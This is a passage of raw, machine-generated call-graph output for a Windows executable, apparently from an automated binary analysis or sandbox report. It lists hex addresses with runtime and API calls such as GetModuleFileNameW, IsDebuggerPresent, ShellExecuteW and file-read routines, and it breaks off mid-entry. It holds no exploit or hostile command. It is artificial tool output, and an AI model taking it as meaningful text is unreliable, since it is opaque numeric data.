4034bd 85150->85152 85153 41171a 75 API calls 85152->85153 85154 42a0ba 85152->85154 85155 4034fe _memcpy_s ctype 85153->85155 85156 416193 85193 41718c 85156->85193 85158 41619f GetStartupInfoW 85160 4161c2 85158->85160 85194 41aa31 HeapCreate 85160->85194 85162 416212 85196 416e29 GetModuleHandleW 85162->85196 85166 416223 __RTC_Initialize 85230 41b669 85166->85230 85169 416231 85170 41623d GetCommandLineW 85169->85170 85299 4117af 67 API calls 3 library calls 85169->85299 85245 42235f GetEnvironmentStringsW 85170->85245 85173 41623c 85173->85170 85174 41624c 85251 4222b1 GetModuleFileNameW 85174->85251 85176 416256 85177 416261 85176->85177 85300 4117af 67 API calls 3 library calls 85176->85300 85255 422082 85177->85255 85181 416272 85268 41186e 85181->85268 85184 416279 85186 416284 __wwincmdln 85184->85186 85302 4117af 67 API calls 3 library calls 85184->85302 85274 40d7f0 85186->85274 85189 4162b3 85304 411a4b 67 API calls _doexit 85189->85304 85192 4162b8 __fcloseall 85193->85158 85195 416206 85194->85195 85195->85162 85297 41616a 67 API calls 3 library calls 85195->85297 85197 416e44 85196->85197 85198 416e3d 85196->85198 85199 416fac 85197->85199 85200 416e4e GetProcAddress GetProcAddress GetProcAddress GetProcAddress 85197->85200 85305 41177f Sleep GetModuleHandleW 85198->85305 85315 416ad5 70 API calls 2 library calls 85199->85315 85202 416e97 TlsAlloc 85200->85202 85206 416218 85202->85206 85207 416ee5 TlsSetValue 85202->85207 85204 416e43 85204->85197 85206->85166 85298 41616a 67 API calls 3 library calls 85206->85298 85207->85206 85208 416ef6 85207->85208 85306 411a69 6 API calls 4 library calls 85208->85306 85210 416efb 85211 41696e __encode_pointer 6 API calls 85210->85211 85212 416f06 85211->85212 85213 41696e __encode_pointer 6 API calls 85212->85213 85214 416f16 85213->85214 85215 41696e __encode_pointer 6 API calls 85214->85215 85216 416f26 85215->85216 85217 41696e __encode_pointer 6 API calls 85216->85217 85218 416f36 85217->85218 85307 41828b InitializeCriticalSectionAndSpinCount __mtinitlocknum 85218->85307 85220 416f43 85220->85199 85221 4169e9 __decode_pointer 6 API calls 85220->85221 85222 416f57 85221->85222 85222->85199 85308 416ffb 85222->85308 85225 4169e9 __decode_pointer 6 API calls 85226 416f8a 85225->85226 85226->85199 85227 416f91 85226->85227 85314 416b12 67 API calls 5 library calls 85227->85314 85229 416f99 GetCurrentThreadId 85229->85206 85334 41718c 85230->85334 85232 41b675 GetStartupInfoA 85233 416ffb __calloc_crt 67 API calls 85232->85233 85239 41b696 85233->85239 85234 41b8b4 __fcloseall 85234->85169 85235 41b831 GetStdHandle 85244 41b7fb 85235->85244 85236 41b896 SetHandleCount 85236->85234 85237 416ffb __calloc_crt 67 API calls 85237->85239 85238 41b843 GetFileType 85238->85244 85239->85234 85239->85237 85240 41b77e 85239->85240 85239->85244 85240->85234 85241 41b7a7 GetFileType 85240->85241 85240->85244 85335 4189e6 InitializeCriticalSectionAndSpinCount __fcloseall 85240->85335 85241->85240 85244->85234 85244->85235 85244->85236 85244->85238 85336 4189e6 InitializeCriticalSectionAndSpinCount __fcloseall 85244->85336 85246 422370 85245->85246 85247 422374 85245->85247 85246->85174 85248 416fb6 __malloc_crt 67 API calls 85247->85248 85249 422395 _memcpy_s 85248->85249 85250 42239c FreeEnvironmentStringsW 85249->85250 85250->85174 85252 4222e6 _wparse_cmdline 85251->85252 85253 416fb6 __malloc_crt 67 API calls 85252->85253 85254 422329 _wparse_cmdline 85252->85254 85253->85254 85254->85176 85256 42209a _wcslen 85255->85256 85260 416267 85255->85260 85257 416ffb __calloc_crt 67 API calls 85256->85257 85263 4220be _wcslen 85257->85263 85258 422123 85259 413a88 __fcloseall 67 API calls 85258->85259 85259->85260 85260->85181 85301 4117af 67 API calls 3 library calls 85260->85301 85261 416ffb __calloc_crt 67 API calls 85261->85263 85262 422149 85264 413a88 __fcloseall 67 API calls 85262->85264 85263->85258 85263->85260 85263->85261 85263->85262 85266 422108 85263->85266 85337 426349 67 API calls _xtow_s@20 85263->85337 85264->85260 85266->85263 85338 417d93 10 API calls 3 library calls 85266->85338 85271 41187c __IsNonwritableInCurrentImage 85268->85271 85270 41189a __initterm_e 85272 411421 __cinit 74 API calls 85270->85272 85273 4118b9 __IsNonwritableInCurrentImage __initterm 85270->85273 85339 418486 85271->85339 85272->85273 85273->85184 85275 431bcb 85274->85275 85276 40d80c 85274->85276 85277 4092c0 VariantClear 85276->85277 85278 40d847 85277->85278 85343 40eb50 85278->85343 85281 40d877 85346 411ac6 67 API calls 4 library calls 85281->85346 85284 40d888 85347 411b24 67 API calls _xtow_s@20 85284->85347 85286 40d891 85348 40f370 SystemParametersInfoW SystemParametersInfoW 85286->85348 85288 40d89f 85349 40d6d0 GetCurrentDirectoryW 85288->85349 85290 40d8a7 SystemParametersInfoW 85291 40d8d4 85290->85291 85292 40d8cd FreeLibrary 85290->85292 85293 4092c0 VariantClear 85291->85293 85292->85291 85294 40d8dd 85293->85294 85295 4092c0 VariantClear 85294->85295 85296 40d8e6 85295->85296 85296->85189 85303 411a1f 67 API calls _doexit 85296->85303 85297->85162 85298->85166 85299->85173 85300->85177 85301->85181 85302->85186 85303->85189 85304->85192 85305->85204 85306->85210 85307->85220 85311 417004 85308->85311 85310 416f70 85310->85199 85310->85225 85311->85310 85312 417022 Sleep 85311->85312 85316 422452 85311->85316 85313 417037 85312->85313 85313->85310 85313->85311 85314->85229 85315->85206 85317 42245e __fcloseall 85316->85317 85318 422476 85317->85318 85323 422495 _memset 85317->85323 85329 417f23 67 API calls __getptd_noexit 85318->85329 85320 42247b 85330 417ebb 6 API calls 2 library calls 85320->85330 85322 422507 HeapAlloc 85322->85323 85323->85322 85325 418407 __lock 66 API calls 85323->85325 85326 42248b __fcloseall 85323->85326 85331 41a74c 5 API calls 2 library calls 85323->85331 85332 42254e LeaveCriticalSection _doexit 85323->85332 85333 411afc 6 API calls __decode_pointer 85323->85333 85325->85323 85326->85311 85329->85320 85331->85323 85332->85323 85333->85323 85334->85232 85335->85240 85336->85244 85337->85263 85338->85266 85340 41848c 85339->85340 85341 41696e __encode_pointer 6 API calls 85340->85341 85342 4184a4 85340->85342 85341->85340 85342->85270 85387 40eb70 85343->85387 85346->85284 85347->85286 85348->85288 85391 401f80 85349->85391 85351 40d6f1 IsDebuggerPresent 85352 431a9d MessageBoxA 85351->85352 85353 40d6ff 85351->85353 85354 431ab6 85352->85354 85353->85354 85355 40d71f 85353->85355 85484 403e90 75 API calls 3 library calls 85354->85484 85461 40f3b0 85355->85461 85359 40d73a GetFullPathNameW 85481 401440 127 API calls _wcscat 85359->85481 85361 40d77a 85362 40d782 85361->85362 85363 431b09 SetCurrentDirectoryW 85361->85363 85364 40d78b 85362->85364 85485 43604b 6 API calls 85362->85485 85363->85362 85473 4101f0 GetSysColorBrush LoadCursorW LoadIconW LoadIconW LoadIconW 85364->85473 85367 431b28 85367->85364 85369 431b30 GetModuleFileNameW 85367->85369 85371 431ba4 GetForegroundWindow ShellExecuteW 85369->85371 85372 431b4c 85369->85372 85374 40d7c7 85371->85374 85486 401b70 85372->85486 85373 40d795 85381 40d7a8 85373->85381 85482 40e1e0 97 API calls _memset 85373->85482 85378 40d7d1 SetCurrentDirectoryW 85374->85378 85378->85290 85380 431b66 85493 40d3b0 75 API calls 2 library calls 85380->85493 85381->85374 85483 401000 Shell_NotifyIconW _memset 85381->85483 85384 431b72 GetForegroundWindow ShellExecuteW 85385 431b9f 85384->85385 85385->85374 85386 40eba0 LoadLibraryA GetProcAddress 85386->85281 85388 40d86e 85387->85388 85389 40eb76 LoadLibraryA 85387->85389 85388->85281 85388->85386 85389->85388 85390 40eb87 GetProcAddress 85389->85390 85390->85388 85494 40e680 75 API calls 85391->85494 85393 401f90 85495 402940 75 API calls __write_nolock 85393->85495 85395 401fa2 GetModuleFileNameW 85496 40ff90 85395->85496 85397 401fbd 85508 4107b0 75 API calls 85397->85508 85399 401fd6 85400 401b70 75 API calls 85399->85400 85401 401fe4 85400->85401 85509 4019e0 76 API calls 85401->85509 85403 401ff2 85404 4092c0 VariantClear 85403->85404 85405 402002 85404->85405 85406 401b70 75 API calls 85405->85406 85407 40201c 85406->85407 85510 4019e0 76 API calls 85407->85510 85409 40202c 85410 401b70 75 API calls 85409->85410 85411 40203c 85410->85411 85511 40c3e0 75 API calls 85411->85511 85413 40204d 85512 40c060 85413->85512 85417 40206e 85518 4115d0 79 API calls 2 library calls 85417->85518 85419 40207d 85420 42c174 85419->85420 85421 402088 85419->85421 85529 401a70 75 API calls 85420->85529 85519 4115d0 79 API calls 2 library calls 85421->85519 85424 42c189 85530 401a70 75 API calls 85424->85530 85425 402093 85425->85424 85426 40209e 85425->85426 85520 4115d0 79 API calls 2 library calls 85426->85520 85429 42c1a7 85431 42c1b0 GetModuleFileNameW 85429->85431 85430 4020a9 85430->85431 85432 4020b4 85430->85432 85531 401a70 75 API calls 85431->85531 85521 4115d0 79 API calls 2 library calls 85432->85521 85435 4020bf 85437 402107 85435->85437 85445 42c20a _wcscpy 85435->85445 85522 401a70 75 API calls 85435->85522 85436 42c1e2 85532 40df50 75 API calls 85436->85532 85439 402119 85437->85439 85437->85445 85441 42c243 85439->85441 85524 40e7e0 76 API calls 85439->85524 85440 42c1f1 85533 401a70 75 API calls 85440->85533 85444 42c201 85444->85445 85534 401a70 75 API calls 85445->85534 85447 4020e5 _wcscpy 85523 401a70 75 API calls 85447->85523 85449 402132 85525 40d030 76 API calls 85449->85525 85452 40213e 85453 4092c0 VariantClear 85452->85453 85456 402148 85453->85456 85454 402184 85458 4092c0 VariantClear 85454->85458 85456->85454 85526 40d030 76 API calls 85456->85526 85527 40e640 76 API calls 85456->85527 85528 401a70 75 API calls 85456->85528 85460 402196 ctype 85458->85460 85460->85351 85462 42ccf4 _memset 85461->85462 85463 40f3c9 85461->85463 85466 42cd05 GetOpenFileNameW 85462->85466 86195 40ffb0 76 API calls ctype 85463->86195 85465 40f3d2 86196 410130 SHGetMalloc 85465->86196 85466->85463 85468 40d732 85466->85468 85468->85359 85468->85361 85469 40f3d9 86201 410020 88 API calls __wcsicoll 85469->86201 85471 40f3e7 86202 40f400 85471->86202 85474 42b9d3 85473->85474 85475 41025a LoadImageW RegisterClassExW 85473->85475 86256 443e8f EnumResourceNamesW LoadImageW 85474->86256 86255 4102f0 7 API calls 85475->86255 85478 40d790 85480 4103e0 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 85478->85480 85479 42b9da 85480->85373 85481->85361 85482->85381 85483->85374 85484->85361 85485->85367 85487 401b76 _wcslen 85486->85487 85488 41171a 75 API calls 85487->85488 85491 401bc5 85487->85491 85489 401bad _memcpy_s 85488->85489 85490 41171a 75 API calls 85489->85490 85490->85491 85492 40d3b0 75 API calls 2 library calls 85491->85492 85492->85380 85493->85384 85494->85393 85495->85395 85535 40f5e0 85496->85535 85499 40ffa6 85499->85397 85501 42b6d8 85504 42b6e6 85501->85504 85591 434fe1 85501->85591 85503 413a88 __fcloseall 67 API calls 85505 42b6f5 85503->85505 85504->85503 85506 434fe1 106 API calls 85505->85506 85507 42b702 85506->85507 85507->85397 85508->85399 85509->85403 85510->85409 85511->85413 85513 41171a 75 API calls 85512->85513 85514 40c088 85513->85514 85515 41171a 75 API calls 85514->85515 85516 402061 85515->85516 85517 401a70 75 API calls 85516->85517 85517->85417 85518->85419 85519->85425 85520->85430 85521->85435 85522->85447 85523->85437 85524->85449 85525->85452 85526->85456 85527->85456 85528->85456 85529->85424 85530->85429 85531->85436 85532->85440 85533->85444 85534->85456 85595 40f580 85535->85595 85537 40f5f8 _strcat ctype 85603 40f6d0 85537->85603 85542 42b2ee 85632 4151b0 85542->85632 85544 40f679 85544->85542 85545 40f681 85544->85545 85619 414e94 85545->85619 85549 40f68b 85549->85499 85554 452574 85549->85554 85551 42b31d 85638 415484 85551->85638 85553 42b33d 85555 41557c _fseek 105 API calls 85554->85555 85556 4525df 85555->85556 86140 4523ce 85556->86140 85559 4525fc 85559->85501 85560 4151b0 __fread_nolock 81 API calls 85561 45261d 85560->85561 85562 4151b0 __fread_nolock 81 API calls 85561->85562 85563 45262e 85562->85563 85564 4151b0 __fread_nolock 81 API calls 85563->85564 85565 452649 85564->85565 85566 4151b0 __fread_nolock 81 API calls 85565->85566 85567 452666 85566->85567 85568 41557c _fseek 105 API calls 85567->85568 85569 452682 85568->85569 85570 4138ba _malloc 67 API calls 85569->85570 85571 45268e 85570->85571 85572 4138ba _malloc 67 API calls 85571->85572 85573 45269b 85572->85573 85574 4151b0 __fread_nolock 81 API calls 85573->85574 85575 4526ac 85574->85575 85576 44afdc GetSystemTimeAsFileTime 85575->85576 85577 4526bf 85576->85577 85578 4526d5 85577->85578 85579 4526fd 85577->85579 85580 413a88 __fcloseall 67 API calls 85578->85580 85581 452704 85579->85581 85582 45275b 85579->85582 85584 4526df 85580->85584 86146 44b195 85581->86146 85583 413a88 __fcloseall 67 API calls 85582->85583 85586 452759 85583->85586 85587 413a88 __fcloseall 67 API calls 85584->85587 85586->85501 85589 4526e8 85587->85589 85588 452753 85590 413a88 __fcloseall 67 API calls 85588->85590 85589->85501 85590->85586 85592 434ff1 85591->85592 85593 434feb 85591->85593 85592->85504 85594 414e94 __fcloseall 106 API calls 85593->85594 85594->85592 85596 429440 85595->85596 85597 40f589 _wcslen 85595->85597 85598 40f58f WideCharToMultiByte 85597->85598 85599 40f5d8 85598->85599 85600 40f5ad 85598->85600 85599->85537 85601 41171a 75 API calls 85600->85601 85602 40f5bb WideCharToMultiByte 85601->85602 85602->85537 85604 40f6dd _strlen 85603->85604 85651 40f790 85604->85651 85607 414e06 85671 414d40 85607->85671 85609 40f666 85609->85542 85610 40f450 85609->85610 85614 40f45a _strcat _memcpy_s __write_nolock 85610->85614 85611 4151b0 __fread_nolock 81 API calls 85611->85614 85613 42936d 85615 41557c _fseek 105 API calls 85613->85615 85614->85611 85614->85613 85618 40f531 85614->85618 85754 41557c 85614->85754 85616 429394 85615->85616 85617 4151b0 __fread_nolock 81 API calls 85616->85617 85617->85618 85618->85544 85620 414ea0 __fcloseall 85619->85620 85621 414ed1 85620->85621 85622 414eb4 85620->85622 85624 415965 __lock_file 68 API calls 85621->85624 85628 414ec9 __fcloseall 85621->85628 85893 417f23 67 API calls __getptd_noexit 85622->85893 85626 414ee9 85624->85626 85625 414eb9 85894 417ebb 6 API calls 2 library calls 85625->85894 85877 414e1d 85626->85877 85628->85549 85962 41511a 85632->85962 85634 4151c8 85635 44afdc 85634->85635 86133 4431e0 85635->86133 85637 44affd 85637->85551 85639 415490 __fcloseall 85638->85639 85640 4154bb 85639->85640 85641 41549e 85639->85641 85643 415965 __lock_file 68 API calls 85640->85643 86137 417f23 67 API calls __getptd_noexit 85641->86137 85645 4154c3 85643->85645 85644 4154a3 86138 417ebb 6 API calls 2 library calls 85644->86138 85647 4152e7 __ftell_nolock 71 API calls 85645->85647 85648 4154cf 85647->85648 86139 4154e8 LeaveCriticalSection LeaveCriticalSection _ftell 85648->86139 85650 4154b3 __fcloseall 85650->85553 85653 40f7ae _memset 85651->85653 85652 42a349 85653->85652 85655 40f628 85653->85655 85656 415258 85653->85656 85655->85607 85657 415285 85656->85657 85658 415268 85656->85658 85657->85658 85660 41528c 85657->85660 85667 417f23 67 API calls __getptd_noexit 85658->85667 85669 41c551 103 API calls 14 library calls 85660->85669 85661 41526d 85668 417ebb 6 API calls 2 library calls 85661->85668 85664 4152b2 85665 41527d 85664->85665 85670 4191c9 101 API calls 7 library calls 85664->85670 85665->85653 85667->85661 85669->85664 85670->85665 85672 414d4c __fcloseall 85671->85672 85673 414d5f 85672->85673 85675 414d95 85672->85675 85723 417f23 67 API calls __getptd_noexit 85673->85723 85690 41e28c 85675->85690 85676 414d64 85724 417ebb 6 API calls 2 library calls 85676->85724 85679 414d9a 85680 414da1 85679->85680 85681 414dae 85679->85681 85725 417f23 67 API calls __getptd_noexit 85680->85725 85683 414dd6 85681->85683 85684 414db6 85681->85684 85708 41dfd8 85683->85708 85726 417f23 67 API calls __getptd_noexit 85684->85726 85688 414d74 __fcloseall @_EH4_CallFilterFunc@8 85688->85609 85691 41e298 __fcloseall 85690->85691 85692 418407 __lock 67 API calls 85691->85692 85703 41e2a6 85692->85703 85693 41e31b 85728 41e3bb 85693->85728 85694 41e322 85696 416fb6 __malloc_crt 67 API calls 85694->85696 85698 41e32c 85696->85698 85697 41e3b0 __fcloseall 85697->85679 85698->85693 85733 4189e6 InitializeCriticalSectionAndSpinCount __fcloseall 85698->85733 85701 418344 __mtinitlocknum 67 API calls 85701->85703 85702 41e351 85704 41e35c 85702->85704 85705 41e36f EnterCriticalSection 85702->85705 85703->85693 85703->85694 85703->85701 85731 4159a6 68 API calls __lock 85703->85731 85732 415a14 LeaveCriticalSection LeaveCriticalSection _doexit 85703->85732 85706 413a88 __fcloseall 67 API calls 85704->85706 85705->85693 85706->85693 85709 41dffb __wopenfile 85708->85709 85710 41e015 85709->85710 85722 41e1e9 85709->85722 85740 4136bc 79 API calls 2 library calls 85709->85740 85738 417f23 67 API calls __getptd_noexit 85710->85738 85712 41e01a 85739 417ebb 6 API calls 2 library calls 85712->85739 85713 41e247 85735 425db0 85713->85735 85718 41e1e2 85718->85722 85741 4136bc 79 API calls 2 library calls 85718->85741 85720 41e201 85720->85722 85742 4136bc 79 API calls 2 library calls 85720->85742 85722->85710 85722->85713 85723->85676 85725->85688 85726->85688 85727 414dfc LeaveCriticalSection LeaveCriticalSection _ftell 85727->85688 85734 41832d LeaveCriticalSection 85728->85734 85730 41e3c2 85730->85697 85731->85703 85732->85703 85733->85702 85734->85730 85743 425ce4 85735->85743 85737 414de1 85737->85727 85738->85712 85740->85718 85741->85720 85742->85722 85746 425cf0 __fcloseall 85743->85746 85744 425d03 85745 417f23 _xtow_s@20 67 API calls 85744->85745 85747 425d08 85745->85747 85746->85744 85748 425d41 85746->85748 85749 417ebb _xtow_s@20 6 API calls 85747->85749 85750 4255c4 __tsopen_nolock 132 API calls 85748->85750 85753 425d17 __fcloseall 85749->85753 85751 425d5b 85750->85751 85752 425d82 __sopen_helper LeaveCriticalSection 85751->85752 85752->85753 85753->85737 85758 415588 __fcloseall 85754->85758 85755 415596 85785 417f23 67 API calls __getptd_noexit 85755->85785 85757 4155c4 85767 415965 85757->85767 85758->85755 85758->85757 85759 41559b 85786 417ebb 6 API calls 2 library calls 85759->85786 85766 4155ab __fcloseall 85766->85614 85768 415977 85767->85768 85769 415999 EnterCriticalSection 85767->85769 85768->85769 85770 41597f 85768->85770 85771 4155cc 85769->85771 85772 418407 __lock 67 API calls 85770->85772 85773 4154f2 85771->85773 85772->85771 85774 415502 85773->85774 85777 415512 85773->85777 85842 417f23 67 API calls __getptd_noexit 85774->85842 85776 415524 85805 41486c 85776->85805 85777->85776 85788 4152e7 85777->85788 85779 415507 85787 4155f7 LeaveCriticalSection LeaveCriticalSection _ftell 85779->85787 85785->85759 85787->85766 85789 41531a 85788->85789 85790 4152fa 85788->85790 85792 41453a __fileno 67 API calls 85789->85792 85843 417f23 67 API calls __getptd_noexit 85790->85843 85794 415320 85792->85794 85793 4152ff 85844 417ebb 6 API calls 2 library calls 85793->85844 85796 41efd4 __locking 71 API calls 85794->85796 85797 415335 85796->85797 85798 4153a9 85797->85798 85800 415364 85797->85800 85804 41530f 85797->85804 85845 417f23 67 API calls __getptd_noexit 85798->85845 85801 41efd4 __locking 71 API calls 85800->85801 85800->85804 85802 415404 85801->85802 85803 41efd4 __locking 71 API calls 85802->85803 85802->85804 85803->85804 85804->85776 85806 4148a7 85805->85806 85807 414885 85805->85807 85811 41453a 85806->85811 85807->85806 85808 41453a __fileno 67 API calls 85807->85808 85809 4148a0 85808->85809 85846 41c3cf 101 API calls 5 library calls 85809->85846 85812 41455e 85811->85812 85813 414549 85811->85813 85817 41efd4 85812->85817 85847 417f23 67 API calls __getptd_noexit 85813->85847 85815 41454e 85848 417ebb 6 API calls 2 library calls 85815->85848 85818 41efe0 __fcloseall 85817->85818 85819 41f003 85818->85819 85820 41efe8 85818->85820 85821 41f011 85819->85821 85826 41f052 85819->85826 85869 417f36 67 API calls __getptd_noexit 85820->85869 85871 417f36 67 API calls __getptd_noexit 85821->85871 85824 41efed 85870 417f23 67 API calls __getptd_noexit 85824->85870 85825 41f016 85872 417f23 67 API calls __getptd_noexit 85825->85872 85849 41ba3b 85826->85849 85830 41f01d 85873 417ebb 6 API calls 2 library calls 85830->85873 85831 41f058 85833 41f065 85831->85833 85834 41f07b 85831->85834 85859 41ef5f 85833->85859 85874 417f23 67 API calls __getptd_noexit 85834->85874 85837 41f073 85876 41f0a6 LeaveCriticalSection __unlock_fhandle 85837->85876 85838 41f080 85875 417f36 67 API calls __getptd_noexit 85838->85875 85839 41eff5 __fcloseall 85839->85779 85842->85779 85843->85793 85845->85804 85846->85806 85847->85815 85850 41ba47 __fcloseall 85849->85850 85851 41baa2 85850->85851 85852 418407 __lock 67 API calls 85850->85852 85853 41baa7 EnterCriticalSection 85851->85853 85856 41bac4 __fcloseall 85851->85856 85855 41ba73 85852->85855 85853->85856 85854 41ba8a 85858 41bad2 ___lock_fhandle LeaveCriticalSection 85854->85858 85855->85854 85857 4189e6 __mtinitlocknum InitializeCriticalSectionAndSpinCount 85855->85857 85856->85831 85857->85854 85858->85851 85860 41b9c4 __lseek_nolock 67 API calls 85859->85860 85861 41ef6e 85860->85861 85862 41ef84 SetFilePointer 85861->85862 85863 41ef74 85861->85863 85865 41efa3 85862->85865 85866 41ef9b GetLastError 85862->85866 85864 417f23 _xtow_s@20 67 API calls 85863->85864 85867 41ef79 85864->85867 85865->85867 85868 417f49 __dosmaperr 67 API calls 85865->85868 85866->85865 85867->85837 85868->85867 85869->85824 85870->85839 85871->85825 85872->85830 85874->85838 85875->85837 85876->85839 85878 414e31 85877->85878 85879 414e4d 85877->85879 85923 417f23 67 API calls __getptd_noexit 85878->85923 85881 41486c __flush 101 API calls 85879->85881 85891 414e46 85879->85891 85883 414e59 85881->85883 85882 414e36 85924 417ebb 6 API calls 2 library calls 85882->85924 85896 41e680 85883->85896 85887 41453a __fileno 67 API calls 85888 414e67 85887->85888 85900 41e5b3 85888->85900 85890 414e6d 85890->85891 85892 413a88 __fcloseall 67 API calls 85890->85892 85895 414f08 LeaveCriticalSection LeaveCriticalSection _ftell 85891->85895 85892->85891 85893->85625 85895->85628 85897 41e690 85896->85897 85899 414e61 85896->85899 85898 413a88 __fcloseall 67 API calls 85897->85898 85897->85899 85898->85899 85899->85887 85901 41e5bf __fcloseall 85900->85901 85902 41e5c7 85901->85902 85905 41e5e2 85901->85905 85940 417f36 67 API calls __getptd_noexit 85902->85940 85904 41e5f0 85942 417f36 67 API calls __getptd_noexit 85904->85942 85905->85904 85908 41e631 85905->85908 85906 41e5cc 85941 417f23 67 API calls __getptd_noexit 85906->85941 85911 41ba3b ___lock_fhandle 68 API calls 85908->85911 85910 41e5f5 85943 417f23 67 API calls __getptd_noexit 85910->85943 85913 41e637 85911->85913 85916 41e652 85913->85916 85917 41e644 85913->85917 85914 41e5fc 85944 417ebb 6 API calls 2 library calls 85914->85944 85945 417f23 67 API calls __getptd_noexit 85916->85945 85925 41e517 85917->85925 85918 41e5d4 __fcloseall 85918->85890 85921 41e64c 85946 41e676 LeaveCriticalSection __unlock_fhandle 85921->85946 85923->85882 85947 41b9c4 85925->85947 85927 41e57d 85960 41b93e 68 API calls 2 library calls 85927->85960 85929 41e527 85929->85927 85930 41e55b 85929->85930 85931 41b9c4 __lseek_nolock 67 API calls 85929->85931 85930->85927 85932 41b9c4 __lseek_nolock 67 API calls 85930->85932 85934 41e552 85931->85934 85935 41e567 CloseHandle 85932->85935 85933 41e585 85939 41e5a7 85933->85939 85961 417f49 67 API calls 3 library calls 85933->85961 85936 41b9c4 __lseek_nolock 67 API calls 85934->85936 85935->85927 85937 41e573 GetLastError 85935->85937 85936->85930 85937->85927 85939->85921 85940->85906 85941->85918 85942->85910 85943->85914 85945->85921 85946->85918 85948 41b9d1 85947->85948 85949 41b9e9 85947->85949 85950 417f36 __write_nolock 67 API calls 85948->85950 85951 417f36 __write_nolock 67 API calls 85949->85951 85959 41ba2e 85949->85959 85952 41b9d6 85950->85952 85953 41ba17 85951->85953 85954 417f23 _xtow_s@20 67 API calls 85952->85954 85955 417f23 _xtow_s@20 67 API calls 85953->85955 85956 41b9de 85954->85956 85957 41ba1e 85955->85957 85956->85929 85958 417ebb _xtow_s@20 6 API calls 85957->85958 85958->85959 85959->85929 85960->85933 85961->85939 85963 415126 __fcloseall 85962->85963 85964 41516f 85963->85964 85966 41513a _memset 85963->85966 85974 415164 __fcloseall 85963->85974 85965 415965 __lock_file 68 API calls 85964->85965 85967 415177 85965->85967 85991 417f23 67 API calls __getptd_noexit 85966->85991 85975 414f10 85967->85975 85970 415154 85992 417ebb 6 API calls 2 library calls 85970->85992 85974->85634 85978 414f2e _memset 85975->85978 85981 414f4c 85975->85981 85976 414f37 86044 417f23 67 API calls __getptd_noexit 85976->86044 85978->85976 85978->85981 85983 414f8b 85978->85983 85979 414f3c 86045 417ebb 6 API calls 2 library calls 85979->86045 85993 4151a6 LeaveCriticalSection LeaveCriticalSection _ftell 85981->85993 85983->85981 85984 4150d5 _memset 85983->85984 85985 4150a9 _memset 85983->85985 85986 41453a __fileno 67 API calls 85983->85986 85994 41ed9e 85983->85994 86024 41e6b1 85983->86024 86046 41ee9b 67 API calls 3 library calls 85983->86046 86048 417f23 67 API calls __getptd_noexit 85984->86048 86047 417f23 67 API calls __getptd_noexit 85985->86047 85986->85983 85991->85970 85993->85974 85995 41edaa __fcloseall 85994->85995 85996 41edb2 85995->85996 85997 41edcd 85995->85997 86118 417f36 67 API calls __getptd_noexit 85996->86118 85999 41eddb 85997->85999 86003 41ee1c 85997->86003 86120 417f36 67 API calls __getptd_noexit 85999->86120 86000 41edb7 86119 417f23 67 API calls __getptd_noexit 86000->86119 86002 41ede0 86121 417f23 67 API calls __getptd_noexit 86002->86121 86006 41ee29 86003->86006 86007 41ee3d 86003->86007 86123 417f36 67 API calls __getptd_noexit 86006->86123 86009 41ba3b ___lock_fhandle 68 API calls 86007->86009 86011 41ee43 86009->86011 86010 41ee2e 86124 417f23 67 API calls __getptd_noexit 86010->86124 86012 41ee50 86011->86012 86013 41ee66 86011->86013 86049 41e7dc 86012->86049 86125 417f23 67 API calls __getptd_noexit 86013->86125 86018 41edbf __fcloseall 86018->85983 86019 41ede7 86122 417ebb 6 API calls 2 library calls 86019->86122 86020 41ee5e 86127 41ee91 LeaveCriticalSection __unlock_fhandle 86020->86127 86021 41ee6b 86126 417f36 67 API calls __getptd_noexit 86021->86126 86025 41e6c1 86024->86025 86029 41e6de 86024->86029 86131 417f23 67 API calls __getptd_noexit 86025->86131 86027 41e6d6 86027->85983 86028 41e6c6 86132 417ebb 6 API calls 2 library calls 86028->86132 86029->86027 86031 41e713 86029->86031 86128 423600 86029->86128 86033 41453a __fileno 67 API calls 86031->86033 86034 41e727 86033->86034 86035 41ed9e __read 79 API calls 86034->86035 86036 41e72e 86035->86036 86036->86027 86037 41453a __fileno 67 API calls 86036->86037 86038 41e751 86037->86038 86038->86027 86039 41453a __fileno 67 API calls 86038->86039 86040 41e75d 86039->86040 86040->86027 86041 41453a __fileno 67 API calls 86040->86041 86042 41e769 86041->86042 86043 41453a __fileno 67 API calls 86042->86043 86043->86027 86044->85979 86046->85983 86047->85979 86048->85979 86050 41e813 86049->86050 86051 41e7f8 86049->86051 86053 41e822 86050->86053 86055 41e849 86050->86055 86052 417f36 __write_nolock 67 API calls 86051->86052 86054 41e7fd 86052->86054 86056 417f36 __write_nolock 67 API calls 86053->86056 86058 417f23 _xtow_s@20 67 API calls 86054->86058 86057 41e868 86055->86057 86072 41e87c 86055->86072 86059 41e827 86056->86059 86060 417f36 __write_nolock 67 API calls 86057->86060 86075 41e805 86058->86075 86062 417f23 _xtow_s@20 67 API calls 86059->86062 86065 41e86d 86060->86065 86061 41e8d4 86064 417f36 __write_nolock 67 API calls 86061->86064 86063 41e82e 86062->86063 86066 417ebb _xtow_s@20 6 API calls 86063->86066 86067 41e8d9 86064->86067 86068 417f23 _xtow_s@20 67 API calls 86065->86068 86066->86075 86069 417f23 _xtow_s@20 67 API calls 86067->86069 86070 41e874 86068->86070 86069->86070 86074 417ebb _xtow_s@20 6 API calls 86070->86074 86071 41e8b0 86071->86061 86080 41e8bb ReadFile 86071->86080 86072->86061 86072->86071 86073 41e8f5 86072->86073 86072->86075 86077 416fb6 __malloc_crt 67 API calls 86073->86077 86074->86075 86075->86020 86081 41e90b 86077->86081 86078 41ed62 GetLastError 86084 41ebe8 86078->86084 86085 41ed6f 86078->86085 86079 41e9e7 86079->86078 86087 41e9fb 86079->86087 86080->86078 86080->86079 86082 41e931 86081->86082 86083 41e913 86081->86083 86088 423462 __lseeki64_nolock 69 API calls 86082->86088 86086 417f23 _xtow_s@20 67 API calls 86083->86086 86092 417f49 __dosmaperr 67 API calls 86084->86092 86097 41eb6d 86084->86097 86089 417f23 _xtow_s@20 67 API calls 86085->86089 86091 41e918 86086->86091 86087->86097 86098 41ea17 86087->86098 86101 41ec2d 86087->86101 86093 41e93d 86088->86093 86090 41ed74 86089->86090 86094 417f36 __write_nolock 67 API calls 86090->86094 86095 417f36 __write_nolock 67 API calls 86091->86095 86092->86097 86093->86080 86094->86097 86095->86075 86096 413a88 __fcloseall 67 API calls 86096->86075 86097->86075 86097->86096 86099 41ea7d ReadFile 86098->86099 86108 41eafa 86098->86108 86102 41ea9b GetLastError 86099->86102 86111 41eaa5 86099->86111 86100 41eca5 ReadFile 86103 41ecc4 GetLastError 86100->86103 86109 41ecce 